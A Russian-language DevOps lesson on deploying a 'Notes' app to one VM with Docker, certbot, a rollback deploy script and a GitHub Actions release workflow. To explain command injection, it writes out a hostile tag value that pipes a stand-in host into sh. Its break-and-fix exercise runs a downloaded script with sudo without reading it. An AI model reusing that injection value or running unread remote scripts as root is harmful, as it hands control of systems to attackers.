Пример: почему тег передаётся через env. В workflow есть строка RELEASE_TAG: ${{ github.event.release.tag_name }} в блоке env, а в команде используется "${RELEASE_TAG#v}". Почему не написать ssh ... deploy.sh ${{ github.event.release.tag_name }} прямо в команде? Потому что GitHub подставляет значение в текст скрипта до запуска, как простую замену текста. Имя тега задаёт человек. Тег вида v1.0"; curl evil.example | sh; " превратил бы команду в чужой код (это называется инъекцией команд). Если значение лежит в переменной окружения, оболочка воспринимает его только как данные, а не как команды.

Честные оговорки.

  • Пользователь в группе docker фактически равен root на этой ВМ: он может запустить контейнер с доступом ко всей файловой системе сервера. Это осознанный компромисс учебного стенда. Уменьшить ущерб можно, ограничив ключ одной командой в authorized_keys (command="/opt/notes/deploy/vm/deploy.sh ...").
  • OIDC (идея из урока 3.4: вместо долгоживущего ключа CI получает короткий токен) выдаёт токены для API облака, а для входа по SSH напрямую не подходит.
  • Если в security group порт 22 открыт только с твоего IP, job на раннере GitHub туда не попадёт: адреса раннеров меняются. Варианты: открыть 22 для всех при отключённых паролях (урок 2.7), self-hosted раннер (своя машина в роли раннера) или bastion (промежуточный защищённый сервер для входа). Здесь мы берём первый вариант и понимаем цену: порт 22 виден всему интернету, защищает только вход по ключу.

Прикинь сам: почему нельзя использовать в CI свой личный SSH-ключ, которым ты заходишь на все серверы?

Утечка секрета CI (а логи, форки и сторонние экшены расширяют круг доступа) даст злоумышленнику вход на все твои серверы. Отдельный ключ и пользователь deploy ограничивают ущерб одним сервисом, а при утечке ключ просто удаляют с ВМ, не трогая личный доступ.

Осторожно: Событие push тега и событие release: published это разные вещи. Первое запускает image.yml (сборка образа), второе запускает деплой, когда человек осознанно нажал «опубликовать релиз». Ещё частая ошибка: публичный ключ положили пользователю yc-user, а заходят как deploy.

Главное: CI заходит на ВМ отдельным ключом пользователя deploy из GitHub Secrets, с зафиксированным known_hosts; личный ключ и root для этого не годятся.

Всё работает на одной ВМ. Какую цену это имеет, посчитаем.

Одна ВМ, SLA и внешний мониторинг

После этого урока «Заметки» работают на одной машине. Это ступенька, но не финиш: у такой схемы есть предел надёжности, и важно уметь его выразить числами, а не словом «надёжно».

Представь: магазин с одной дверью и одним кассиром. Кассир заболел, дверь заклинило: магазин закрыт. Оговорка: содержать два магазина вдвое дороже, поэтому «сколько простоя допустимо» это вопрос денег, а не только техники.

Точка, отказ которой останавливает весь сервис, называется SPOF (single point of failure). Здесь это сама ВМ: она упала, провайдер проводит обслуживание, забился диск, и сервис недоступен. restart: unless-stopped в Compose перезапускает контейнеры после падения процесса или перезагрузки ВМ, но не поможет, если умерла сама машина. Этот долг закрывается в темах 5 и 9 (кластер, несколько экземпляров), и полностью никогда: это вопрос цены и допустимого простоя.

SLA (service level agreement) это обещанная доля времени, когда сервис доступен. Считать её полезно в минутах простоя.

Возьмём SLA 99.9% за 30 дней.

минут в 30 днях:      30 * 24 * 60 = 43200
допустимая недоступность: 100% - 99.9% = 0.1% = 0.001
бюджет простоя:       43200 * 0.001 = 43.2 минуты в месяц

неудачная выкатка с 5 минутами 502: 5 / 43.2 = 0.116, то есть около 12% месячного бюджета
для 99.99%:           43200 * 0.0001 = 4.32 минуты в месяц

Одна плохая выкатка съедает восьмую часть бюджета, а при 99.99% пять минут 502 бюджет уже превышают. Отсюда важность быстрого отката и smoke-test.

Проверка с самой ВМ (curl 127.0.0.1) не видит проблем DNS, сертификата и файрвола, не видит и падения самой ВМ. Нужна внешняя проверка (blackbox: чёрный ящик, смотрит на сервис снаружи, как пользователь): бесплатный uptime-сервис или blackbox-мониторинг из темы 8 запрашивает https://notes.<домен>/healthz раз в минуту и оповещает, если несколько проверок подряд провалились.

Прикинь сам: SLA 99.9% за месяц из 30 дней. Три деплоя провалились с простоем 10, 15 и 20 минут. Уложились?

Нет. Бюджет 43.2 минуты, а простой 10 + 15 + 20 = 45 минут, это на 1.8 минуты больше. Фактическая доступность: (43200 - 45) / 43200 = 99.896%, то есть чуть ниже 99.9%.

Осторожно: «Облако не падает». Падает: обслуживание, сеть, диски, ошибки конфигурации. Обещания провайдера касаются его части (ВМ как ресурса), а не твоего приложения на ней. И ещё: проверка docker ps показывает не «работает», а «запущено».

Главное: одна ВМ это SPOF: SLA 99.9% оставляет 43,2 минуты простоя в месяц, и одна плохая выкатка съедает заметную долю, а упавшую ВМ покажет только внешний мониторинг.

Осталось сопоставить это с AWS.

Соответствие AWS

На собеседованиях и в статьях те же шаги описывают названиями AWS, поэтому сопоставим.

Что делаем Yandex Cloud / у нас AWS
Виртуальная машина Compute Cloud, notes-vm EC2
Домен и A-запись Cloud DNS Route 53
Сертификат Let’s Encrypt + certbot на ВМ; Certificate Manager ACM (только с ALB, CloudFront)
Правила входа 22, 80, 443 Security group Security group
Хранение SSH-ключа CI GitHub Secrets GitHub Secrets / Secrets Manager
Деплой по SSH deploy.sh по ssh SSM Run Command / CodeDeploy
Внешний uptime внешняя проверка, Monitoring Route 53 health checks, CloudWatch Synthetics

Отличие для собеседования: сертификат ACM бесплатен, но выдаётся только для сервисов AWS (ALB, CloudFront), на ВМ его не поставишь. На EC2 ставят certbot так же, как у нас.

Прикинь сам: тебе нужен сертификат для сайта на обычной ВМ EC2. Подойдёт ли ACM, как у AWS для балансировщика?

Нет: сертификат ACM выдаётся только для сервисов AWS (ALB, CloudFront), на ВМ его не поставишь. На EC2 ставят certbot, как в этом уроке.

Главное: у каждого шага урока есть аналог в AWS: EC2, Route 53, ACM (только для сервисов AWS), Security group, SSM или CodeDeploy.

Практика

Дальше notes.example.com и 203.0.113.10 заменяй на свои значения: домен и публичный IP ВМ из урока 6.2 (yc compute instance get notes-vm покажет адрес). Для трека «без облака» (Multipass-ВМ) сертификат Let’s Encrypt не получится: у ВМ нет публичного адреса. Замени задание 2 на самоподписанный сертификат из урока 4.6, остальное работает так же.

Задание 1. Docker и пользователь deploy на ВМ

Цель: подготовить ВМ: Docker Engine из официального apt-репозитория, отдельный пользователь deploy и каталог /opt/notes.

Предскажи: сработает ли docker ps под deploy сразу после usermod -aG docker deploy в открытой сессии? Ответ: нет, группы читаются при новом входе.

Шаги:

  1. Подключись: ssh yc-user@203.0.113.10. Поставь Docker (официальный репозиторий, без curl | bash):
sudo apt-get update
sudo apt-get install -y ca-certificates curl rsync
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# репозиторий Docker для твоей версии Ubuntu
sudo tee /etc/apt/sources.list.d/docker.sources >/dev/null <<EOT
Types: deb
URIs: https://download.docker.com/linux/ubuntu
Suites: $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}")
Components: stable
Signed-By: /etc/apt/keyrings/docker.asc
EOT
sudo apt-get update
sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin
sudo systemctl enable --now docker
  1. Создай пользователя и каталог:
sudo adduser --disabled-password --gecos "" deploy
sudo usermod -aG docker deploy
sudo install -d -o deploy -g deploy -m 755 /opt/notes
sudo install -d -o deploy -g deploy -m 700 /home/deploy/.ssh
  1. На ноутбуке создай отдельный ключ и положи публичную часть на ВМ:
ssh-keygen -t ed25519 -N "" -C "notes-deploy" -f ~/.ssh/notes-deploy
ssh yc-user@203.0.113.10 'sudo tee /home/deploy/.ssh/authorized_keys >/dev/null && sudo chown deploy:deploy /home/deploy/.ssh/authorized_keys && sudo chmod 600 /home/deploy/.ssh/authorized_keys' < ~/.ssh/notes-deploy.pub
ssh -i ~/.ssh/notes-deploy deploy@203.0.113.10 'docker --version && docker compose version && docker ps'

Разбор команд.

  • sudo выполняет команду от имени администратора. apt-get update обновляет список доступных пакетов, apt-get install -y ставит пакеты (-y отвечает «да» на вопросы).
  • install -m 0755 -d /etc/apt/keyrings создаёт каталог (-d) с правами 755 (-m 0755): хозяин пишет, остальные читают. В нём лежит ключ Docker, которым apt проверяет подпись пакетов.
  • curl -fsSL URL -o файл скачивает файл: -f считать HTTP-ошибку ошибкой, -s без индикатора, -S но показать ошибку, -L идти по перенаправлениям, -o куда сохранить.
  • sudo tee файл >/dev/null <<EOT ... EOT записывает текст между EOT в файл от имени администратора. Простое > не работает, потому что перенаправление выполняет твоя оболочка без прав, а не sudo. >/dev/null прячет копию текста на экране.
  • $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") подставляет кодовое имя твоей Ubuntu (например, noble для 24.04): из файла /etc/os-release читается переменная, а :- берёт запасное значение, если первой нет.
  • systemctl enable --now docker включает службу Docker при загрузке (enable) и запускает её сейчас (--now).
  • adduser --disabled-password --gecos "" создаёт пользователя без пароля (войти можно только по ключу) и без вопросов про имя и телефон. usermod -aG docker deploy добавляет его (-a дописать, -G в группу) в группу docker: у членов группы есть доступ к сокету Docker.
  • install -d -o deploy -g deploy -m 700 /home/deploy/.ssh создаёт каталог для ключей: владелец deploy, права 700 (только хозяин). SSH откажется читать ключи из каталога, доступного другим.
  • ssh-keygen -t ed25519 -N "" -C "notes-deploy" -f ~/.ssh/notes-deploy создаёт пару ключей: тип ed25519, -N "" без парольной фразы (нужно, чтобы CI мог войти без человека), -C комментарий, -f имя файла. Получатся два файла: notes-deploy (приватный) и notes-deploy.pub (публичный).
  • ssh yc-user@... '...' < ~/.ssh/notes-deploy.pub: команда в кавычках выполняется на ВМ, а < подаёт ей на вход содержимое публичного ключа. tee записывает его в authorized_keys, следом chown и chmod 600 отдают файл пользователю deploy и закрывают от остальных.

Что должно получиться: версии Docker и Compose и пустой список контейнеров, без permission denied.

Docker version 29.6.2, build dfc4efb
Docker Compose version v5.3.1
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES

Номера версий и хэш сборки у тебя будут свои: приведены версии с Docker Desktop автора, на ВМ из apt они могут быть новее.

Как читать вывод: первые две строки показывают, что Docker и плагин compose установлены (без плагина docker compose не работает). Третья строка это заголовок таблицы контейнеров. Она есть, а строк под ней нет: контейнеров пока нет, но главное, что команда docker ps под deploy не отказала в доступе. Если вместо таблицы ошибка про docker.sock, смотри «Типичные ошибки».

Объясни себе:

  • Чем плох деплой под yc-user или root вместо отдельного пользователя?
  • Почему пользователя в группе docker можно считать администратором ВМ?

Типичные ошибки:

  • permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: пользователя нет в группе docker или сессия старая: usermod -aG docker, войти заново.
  • Permission denied (publickey). при входе как deploy: неверные права на .ssh (нужно 700) или authorized_keys (600), или владелец не deploy: повтори chown и chmod.
  • E: Unable to locate package docker-ce: не добавлен репозиторий или не сделан apt-get update после него.

Задание 2. Домен, стек на ВМ и сертификат Let’s Encrypt

Цель: запустить Compose-стек по тегу образа и получить HTTPS с настоящим сертификатом.

Предскажи: что произойдёт с контейнером proxy, если запустить nginx сразу с блоком listen 443 ssl и путём к ещё не существующему сертификату?

Ответ

nginx не стартует: cannot load certificate ... No such file or directory, контейнер уходит в перезапуск (restart: unless-stopped будет пытаться снова и снова). Отсюда двухэтапный запуск.

Шаги:

  1. Создай A-запись домена (тип A, имя notes, значение 203.0.113.10, TTL 300) в панели DNS-хостинга и проверь её: dig +short A notes.example.com @1.1.1.1 должен вернуть 203.0.113.10. Пока это не так, дальше не иди: без DNS Let’s Encrypt не выдаст сертификат. Пустой вывод значит, что запись не создана, создана не в той зоне или ещё не разошлась (подожди TTL); в панелях имя пишут относительно зоны (notes, а не notes.example.com).

  2. В репозитории ~/notes создай compose.prod.yml. Он дополняет compose.yml из урока 4.6: образ берётся из ghcr по тегу, конфиг nginx боевой, есть тома для сертификатов:

# Продовое переопределение: запускается вместе с compose.yml
services:
  notes:
    image: ghcr.io/<github-user>/notes:${NOTES_TAG:?нужен NOTES_TAG}
    restart: unless-stopped
  db:
    restart: unless-stopped
  proxy:
    restart: unless-stopped
    ports:
      - "80:80"
      - "443:443"
    # !override заменяет список томов целиком: самоподписанный ./deploy/tls на проде не нужен
    volumes: !override
      - ./deploy/nginx/compose.prod.conf:/etc/nginx/conf.d/default.conf:ro
      - /etc/letsencrypt:/etc/letsencrypt:ro
      - /var/www/certbot:/var/www/certbot:ro

Замени <github-user> на свой логин. Если пакет в ghcr приватный, сделай его публичным (Package settings, Change visibility) или выполни на ВМ docker login ghcr.io с токеном read:packages.

  1. Создай deploy/nginx/compose.prod.conf, этап 1: только порт 80.
# Этап 1: порт 80 (проверка ACME и редирект на HTTPS)
server {
    listen 80;
    server_name notes.example.com;

    # certbot кладёт сюда файл-токен
    location /.well-known/acme-challenge/ {
        root /var/www/certbot;
    }
    location / {
        return 301 https://$host$request_uri;
    }
}
  1. Отправь файлы на ВМ и создай .env (пароль генерируется, в git его нет):
rsync -azR -e "ssh -i ~/.ssh/notes-deploy" compose.yml compose.prod.yml deploy/nginx/compose.prod.conf deploy@203.0.113.10:/opt/notes/
ssh -i ~/.ssh/notes-deploy deploy@203.0.113.10 'cd /opt/notes && PASS=$(openssl rand -hex 16) && printf "POSTGRES_PASSWORD=%s\nDATABASE_URL=postgresql://notes:%s@db:5432/notes\nAPP_VERSION=0.4.1\nNOTES_DOMAIN=notes.example.com\n" "$PASS" "$PASS" > .env && chmod 600 .env'
  1. Стек запускается под пользователем deploy (у yc-user нет доступа к Docker), а сертификат получается под yc-user, потому что для certbot нужен sudo. Сначала стек:
ssh -i ~/.ssh/notes-deploy deploy@203.0.113.10
cd /opt/notes
export COMPOSE_FILE=compose.yml:compose.prod.yml NOTES_TAG=0.4.1
docker compose up -d
exit

Теперь сертификат (webroot), уже как yc-user:

ssh yc-user@203.0.113.10
sudo install -d /var/www/certbot
sudo apt-get install -y certbot
sudo certbot certonly --webroot -w /var/www/certbot -d notes.example.com \
  --agree-tos -m you@example.com --no-eff-email \
  --deploy-hook "docker compose -f /opt/notes/compose.yml -f /opt/notes/compose.prod.yml --project-directory /opt/notes exec -T proxy nginx -s reload"

Отладку лучше начинать с ключа --dry-run, чтобы не упереться в лимиты.

Разбор: export COMPOSE_FILE=a:b говорит docker compose, какие файлы читать (двоеточие разделяет), а NOTES_TAG подставляется в image: из compose.prod.yml (без неё ${NOTES_TAG:?...} остановит запуск). certonly значит «только получить сертификат, ничего не настраивать»; --webroot -w /var/www/certbot положить токен туда; -d домен; --agree-tos согласие с условиями; -m почта для уведомлений об истекающем сертификате; --no-eff-email не подписываться на рассылку. --deploy-hook "..." команда после успешной выдачи и каждого продления: exec -T proxy nginx -s reload заходит в контейнер proxy и просит nginx перечитать конфиг и сертификаты (-T отключает терминал, он не нужен в автоматике).

Как читать вывод certbot: в конце должно быть Successfully received certificate и пути Certificate is saved at: .../fullchain.pem и Key is saved at: .../privkey.pem, а также дата окончания. Если вместо этого Challenge failed for domain, смотри «Типичные ошибки».

  1. Допиши в compose.prod.conf этап 2 (блок HTTPS), снова отправь файл через rsync и перезапусти прокси:
# Этап 2: HTTPS (добавляется к блоку порта 80 выше)
resolver 127.0.0.11 valid=10s;

server {
    listen 443 ssl;
    http2 on;
    server_name notes.example.com;

    ssl_certificate     /etc/letsencrypt/live/notes.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/notes.example.com/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    add_header Strict-Transport-Security "max-age=31536000" always;

    location / {
        # переменная заставляет nginx переразрешать имя после пересоздания контейнера
        set $upstream http://notes:8080;
        proxy_pass $upstream;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_read_timeout 30s;
    }
}

Перезапусти прокси под deploy (переменные нужны, иначе compose откажется читать compose.prod.yml):

ssh -i ~/.ssh/notes-deploy deploy@203.0.113.10 'cd /opt/notes && export COMPOSE_FILE=compose.yml:compose.prod.yml NOTES_TAG=0.4.1 && docker compose restart proxy'

Проверь с ноутбука и на ВМ (последняя команда под yc-user):

curl -sS -o /dev/null -w '%{http_code}\n' https://notes.example.com/healthz
echo | openssl s_client -connect notes.example.com:443 -servername notes.example.com 2>/dev/null | openssl x509 -noout -issuer -dates
sudo certbot renew --dry-run

Разбор: curl -sS -o /dev/null -w '%{http_code}\n' скачивает страницу, выбрасывает тело (-o /dev/null) и печатает только код ответа (-w). echo | подаёт пустой ввод, чтобы openssl s_client не ждал ввода: он подключается к 443 и выводит сертификат (-servername сообщает имя сайта, как это делает браузер). Всё это передаётся в openssl x509 -noout -issuer -dates: показать, кто выдал (-issuer) и сроки (-dates), без самого текста сертификата. certbot renew --dry-run имитирует продление на тестовом сервере, ничего не меняя.

Что должно получиться: код 200, издатель Let’s Encrypt, дата окончания через около 90 дней, тестовое продление проходит.

200
issuer=C = US, O = Let's Encrypt, CN = E7
notBefore=Sep 29 10:12:01 2026 GMT
notAfter=Dec 28 10:12:00 2026 GMT
Congratulations, all simulated renewals succeeded:
  /etc/letsencrypt/live/notes.example.com/fullchain.pem (success)

Имя издателя (E7) и даты у тебя будут другие: центр сертификации меняет промежуточные сертификаты, это нормально.

Как читать вывод: 200 значит, что запрос прошёл весь путь (DNS, TLS, nginx, приложение). issuer=... O = Let's Encrypt показывает, что сертификат настоящий, а не самоподписанный. Разница между notBefore и notAfter около 90 дней. Последние две строки говорят, что тестовое продление сработало: certbot умеет войти в свой каталог, пройти проверку и вызвать deploy-hook.

Объясни себе:

  • Зачем /etc/letsencrypt подключён в nginx только на чтение?
  • Что произойдёт через 60 дней, если deploy-hook не сработает?
  • Почему после этапа 2 хватает restart proxy, а up -d не нужен?

Типичные ошибки:

  • Timeout during connect (likely firewall problem): порт 80 закрыт в security group или ufw, либо A-запись указывает на другой IP: открой 80 (yc vpc security-group update-rules), проверь dig.
  • Invalid response from http://notes.example.com/.well-known/acme-challenge/...: 404: nginx не отдаёт каталог webroot: проверь том /var/www/certbot и location.
  • nginx: [emerg] cannot load certificate "/etc/letsencrypt/live/notes.example.com/fullchain.pem": этап 2 добавлен до выпуска сертификата: вернись к этапу 1.
  • too many failed authorizations recently: упёрся в лимит Let’s Encrypt: жди указанное время, отлаживай через --dry-run.

Не понимаешь вывод dig или ошибку certbot? Скопируй их в нейросеть, замени свой домен на example.com и спроси, что они значат. Проверь ответ командами dig +short NS и curl -I.

Задание 3. Скрипт деплоя с откатом

Цель: выкатывать версию одной командой, проверять её и откатывать при провале.

Предскажи: что случится с работающим сервисом, если запустить deploy.sh 9.9.9 (такого тега в реестре нет)? Он упадёт или продолжит работать на старой версии?

Ответ

Продолжит работать: docker compose pull завершится ошибкой раньше up -d, set -e остановит скрипт, а контейнеры не тронуты. Именно поэтому pull идёт отдельным шагом до пересоздания.

Шаги:

  1. Создай deploy/vm/deploy.sh в репозитории:
#!/usr/bin/env bash
# Использование: deploy.sh <тег образа>, например 0.4.1
set -euo pipefail

NEW_TAG="${1:?использование: deploy.sh <тег>}"
cd /opt/notes

# .env даёт NOTES_DOMAIN и пароли, тег версии задаём поверх него
set -a; . ./.env; set +a
export COMPOSE_FILE=compose.yml:compose.prod.yml
STATE=/opt/notes/.current-tag
PREV_TAG="$(cat "$STATE" 2>/dev/null || true)"

# запускаем указанный тег и ждём успешный smoke-test
run_tag() {
  export NOTES_TAG="$1" APP_VERSION="$1"
  docker compose up -d
  for _ in $(seq 1 15); do
    if curl -fsS --max-time 3 --resolve "${NOTES_DOMAIN}:443:127.0.0.1" \
         "https://${NOTES_DOMAIN}/healthz" >/dev/null; then
      return 0
    fi
    sleep 2
  done
  return 1
}

# pull отдельно: если тега нет, работающие контейнеры остаются нетронутыми
NOTES_TAG="$NEW_TAG" docker compose pull notes

if run_tag "$NEW_TAG"; then
  echo "$NEW_TAG" > "$STATE"
  echo "OK: запущена версия $NEW_TAG (была: ${PREV_TAG:-нет})"
else
  echo "FAIL: версия $NEW_TAG не прошла проверку" >&2
  if [ -n "$PREV_TAG" ]; then
    echo "Откат на $PREV_TAG" >&2
    run_tag "$PREV_TAG" || echo "Откат тоже не прошёл, нужен человек" >&2
  fi
  exit 1
fi
  1. Проверь скрипт и отправь на ВМ:
shellcheck deploy/vm/deploy.sh
chmod +x deploy/vm/deploy.sh
rsync -azR -e "ssh -i ~/.ssh/notes-deploy" deploy/vm/deploy.sh deploy@203.0.113.10:/opt/notes/
  1. Запусти дважды подряд (идемпотентность), затем с несуществующим тегом:
ssh -i ~/.ssh/notes-deploy deploy@203.0.113.10 '/opt/notes/deploy/vm/deploy.sh 0.4.1'
ssh -i ~/.ssh/notes-deploy deploy@203.0.113.10 '/opt/notes/deploy/vm/deploy.sh 0.4.1'
ssh -i ~/.ssh/notes-deploy deploy@203.0.113.10 '/opt/notes/deploy/vm/deploy.sh 9.9.9; echo код=$?'

Что должно получиться: два успешных запуска (при втором контейнеры не пересоздаются), а на 9.9.9 ошибка pull и ненулевой код. https://notes.example.com/healthz при этом по-прежнему отвечает 200.

OK: запущена версия 0.4.1 (была: нет)
OK: запущена версия 0.4.1 (была: 0.4.1)
... manifest unknown (или not found)
код=1

Точный текст ошибки pull зависит от версии Compose и реестра: ищи в нём manifest unknown или not found. Перед строками OK Compose печатает свои строки про скачивание и запуск контейнеров.

Как читать вывод: «была: нет» значит, что файла .current-tag ещё не было (первый деплой). Во втором запуске «была: 0.4.1»: скрипт помнит прошлую версию. Ошибка при 9.9.9 пришла от docker compose pull, а не от up: старая версия не остановлена. код=1 это код выхода скрипта ($?): ноль значит успех, любое другое число ошибку, именно его смотрит CI.

Объясни себе:

  • Почему smoke-test идёт через https://<домен> (с --resolve на 127.0.0.1), а не в http://notes:8080?
  • Что делает set -a, и почему пароль из .env не попадает в вывод скрипта?
  • Как вручную откатиться на конкретный тег? (Подсказка: тот же скрипт.)

Типичные ошибки:

  • Head "https://ghcr.io/v2/<github-user>/notes/manifests/0.4.1": denied: пакет приватный, а ВМ не авторизована: сделай пакет публичным или docker login ghcr.io.
  • required variable NOTES_TAG is missing a value: нужен NOTES_TAG: docker compose вызван вручную без переменной: export NOTES_TAG=$(cat /opt/notes/.current-tag).
  • bash: /opt/notes/deploy/vm/deploy.sh: Permission denied: нет бита исполнения: chmod +x до rsync (ключ -a сохраняет права).
  • curl: (60) SSL certificate problem: домен в .env не совпадает с доменом сертификата: проверь NOTES_DOMAIN.

Скрипт деплоя ведёт себя странно? Покажи нейросети текст скрипта и вывод запуска и спроси, на каком шаге он остановился; прогони исправление на неверном теге сам.

Задание 4. Деплой по релизу в GitHub Actions (шаг проекта)

Цель: публикация GitHub Release выкатывает версию на ВМ без ручных шагов. Это шаг сквозного проекта «Заметки»: https://notes.<домен> работает из интернета, деплой идёт по тегу.

Предскажи: почему workflow запускается по release: published, а не по push тега, если образ уже собирается по тегу?

Ответ

Релиз это осознанное действие человека после того, как image.yml завершил сборку. Push тега запускает сборку образа, а деплой стартует, когда ты решил выкатить. Иначе деплой гонялся бы с ещё не готовым образом.

Шаги:

  1. Добавь секреты и переменную в репозиторий (Settings, Secrets and variables, Actions): DEPLOY_SSH_KEY (содержимое ~/.ssh/notes-deploy), DEPLOY_KNOWN_HOSTS (вывод команды ниже), переменная NOTES_DOMAIN. Создай environment production.
ssh-keyscan -t ed25519 notes.example.com
  1. Открой доступ к SSH из интернета (раннеры GitHub меняют адреса), пароли уже отключены в уроке 2.7:
yc vpc security-group list
yc vpc security-group update-rules notes-sg --add-rule "direction=ingress,port=22,protocol=tcp,v4-cidrs=[0.0.0.0/0]"
  1. Создай .github/workflows/deploy.yml:
name: deploy
on:
  release:
    types: [published]

permissions:
  contents: read

# два деплоя одновременно не идут, второй ждёт первого
concurrency:
  group: deploy-prod
  cancel-in-progress: false

jobs:
  deploy:
    runs-on: ubuntu-24.04
    environment: production
    steps:
      - uses: actions/checkout@v7.0.1

      - name: Подготовить ssh
        env:
          SSH_KEY: ${{ secrets.DEPLOY_SSH_KEY }}
          KNOWN_HOSTS: ${{ secrets.DEPLOY_KNOWN_HOSTS }}
        run: |
          install -m 700 -d ~/.ssh
          printf '%s\n' "$SSH_KEY" > ~/.ssh/id_ed25519
          chmod 600 ~/.ssh/id_ed25519
          printf '%s\n' "$KNOWN_HOSTS" > ~/.ssh/known_hosts

      - name: Выкатить тег
        env:
          DOMAIN: ${{ vars.NOTES_DOMAIN }}
          RELEASE_TAG: ${{ github.event.release.tag_name }}
        run: |
          # v0.4.1 -> 0.4.1 (тег образа без префикса v)
          VERSION="${RELEASE_TAG#v}"
          rsync -azR compose.yml compose.prod.yml deploy/nginx/compose.prod.conf deploy/vm/deploy.sh "deploy@${DOMAIN}:/opt/notes/"
          ssh "deploy@${DOMAIN}" "/opt/notes/deploy/vm/deploy.sh ${VERSION}"

      - name: Smoke-test снаружи
        env:
          DOMAIN: ${{ vars.NOTES_DOMAIN }}
        run: curl -fsS --retry 5 --retry-delay 3 "https://${DOMAIN}/healthz"
  1. Закоммить, опубликуй релиз для тега и следи за job:
git add compose.prod.yml deploy .github/workflows/deploy.yml
git commit -m "ci: деплой на ВМ по релизу"
git push
gh release create v0.4.1 --title "0.4.1" --notes "Деплой по релизу"
gh run watch

Если релиз для тега v0.4.1 уже создан в уроке 3.5, опубликуй следующий тег своей нумерации: событие published наступает при публикации нового релиза.

  1. Подключи внешнюю проверку: в бесплатном uptime-сервисе создай HTTPS-проверку https://notes.example.com/healthz раз в минуту с оповещением на почту. Останови proxy (docker compose stop proxy) на 3 минуты, получи оповещение и запусти обратно (docker compose start proxy).

Разбор шагов workflow: on: release: types: [published] запускать при публикации релиза. permissions: contents: read даёт токену GitHub право только читать репозиторий (минимум прав). runs-on: ubuntu-24.04 это тип раннера. uses: actions/checkout@... скачивает код репозитория на раннер. В шаге «Подготовить ssh» приватный ключ записывается в ~/.ssh/id_ed25519 с правами 600, отпечаток в known_hosts. В шаге «Выкатить тег» rsync -azR копирует файлы на ВМ (-a сохранять права, -z сжимать, -R сохранить относительные пути), а ssh ... deploy.sh ВЕРСИЯ запускает деплой. Последний шаг это ещё одна проверка снаружи с повторами: --retry 5 --retry-delay 3 повторить до пяти раз с паузой три секунды.

Что должно получиться: job deploy зелёный, curl снаружи отвечает.

OK: запущена версия 0.4.1 (была: 0.4.1)
ok
curl -sS -o /dev/null -w '%{http_code}\n' https://notes.example.com/healthz
200

Как читать вывод: в логе job должна быть строка OK: запущена версия ... из deploy.sh, а затем ответ /healthz (ok в тексте, если приложение так отвечает). Красный шаг «Выкатить тег» означает проблему входа по SSH или скрипта, красный «Smoke-test снаружи» означает, что снаружи сервис не отвечает, хотя изнутри деплой прошёл: ищи DNS, сертификат или файрвол.

Объясни себе:

  • Что лежит в known_hosts и от чего это защищает?
  • Почему тег берётся из github.event.release.tag_name через переменную окружения, а не подставляется прямо в команду?
  • Какие шаги этого workflow можно безопасно повторить при сбое?

Типичные ошибки:

  • Permission denied (publickey).: секрет DEPLOY_SSH_KEY содержит не тот ключ или обрезан перевод строки, либо публичная часть не в authorized_keys пользователя deploy: обнови секрет целиком.
  • Host key verification failed.: DEPLOY_KNOWN_HOSTS пуст или для другого адреса: заново ssh-keyscan.
  • ssh: connect to host notes.example.com port 22: Connection timed out: security group не пускает 22 с адресов GitHub: правило из шага 2.
  • Workflow не запустился: релиз создан как черновик (draft) или файл deploy.yml не попал в ветку по умолчанию до публикации релиза.

Сломай и почини

Скачай скрипт поломки, не читай его и запусти на ВМ (сценарий 1, 2 или 3). Сценарии повторяют то, что бывает после настоящих деплоев.

curl -fsSL -o /tmp/break-6.3.sh https://raw.githubusercontent.com/distinguished-sre/learning/main/devops/project/notes/break/6.3/break.sh
sudo bash /tmp/break-6.3.sh 1

Здесь curl -fsSL -o файл URL скачивает скрипт (флаги разобраны в задании 1), а sudo bash файл 1 запускает его от администратора с номером сценария. Вернуть всё как было: sudo bash /tmp/break-6.3.sh fix (безопасно запускать повторно).

Сценарии: 1 certbot не проходит проверку домена; 2 job деплоя падает на входе по SSH; 3 после деплоя сайт отвечает 502.

Симптом

Опиши то, что видишь, до всяких догадок: точный текст ошибки, на каком шаге, что изменилось с прошлого раза.

  • Сценарий 1: certbot ... Timeout during connect (likely firewall problem), а снаружи curl -m 5 http://<домен>/ зависает до таймаута.
  • Сценарий 2: job deploy красный, шаг «Выкатить тег»: Permission denied (publickey). Твой ключ и секрет не менялись.
  • Сценарий 3: деплой прошёл зелёным, а https://notes.example.com/ отвечает 502 Bad Gateway.

Гипотезы

Для каждого симптома выпиши минимум три версии по слоям: DNS, сеть и файрвол, процесс, конфиг, права, секреты. Порядок проверки: от дешёвых и частых к дорогим. Напомню метод: одна проверка на гипотезу, и после каждой ты либо исключил слой, либо нашёл причину.

Проверки

По одной проверке на гипотезу, сначала снаружи: dig +short A <домен> @1.1.1.1, curl -m 5 http://<домен>/, ssh -v -i ~/.ssh/notes-deploy deploy@<домен> true, затем на ВМ docker compose ps и docker compose logs --tail 30 proxy notes (под пользователем deploy, с export COMPOSE_FILE=... NOTES_TAG=... из задания 2).

Как читать вывод: зависание curl до таймаута («тишина») означает, что пакеты отбрасываются файрволом. Быстрый ответ Connection refused означает, что порт открыт, но никто не слушает. ssh -v печатает, какие ключи предлагает клиент и что отвечает сервер: после строки Offering public key смотри, была ли строка Authentication succeeded или снова Permission denied.

Исправление

Разбор всех сценариев

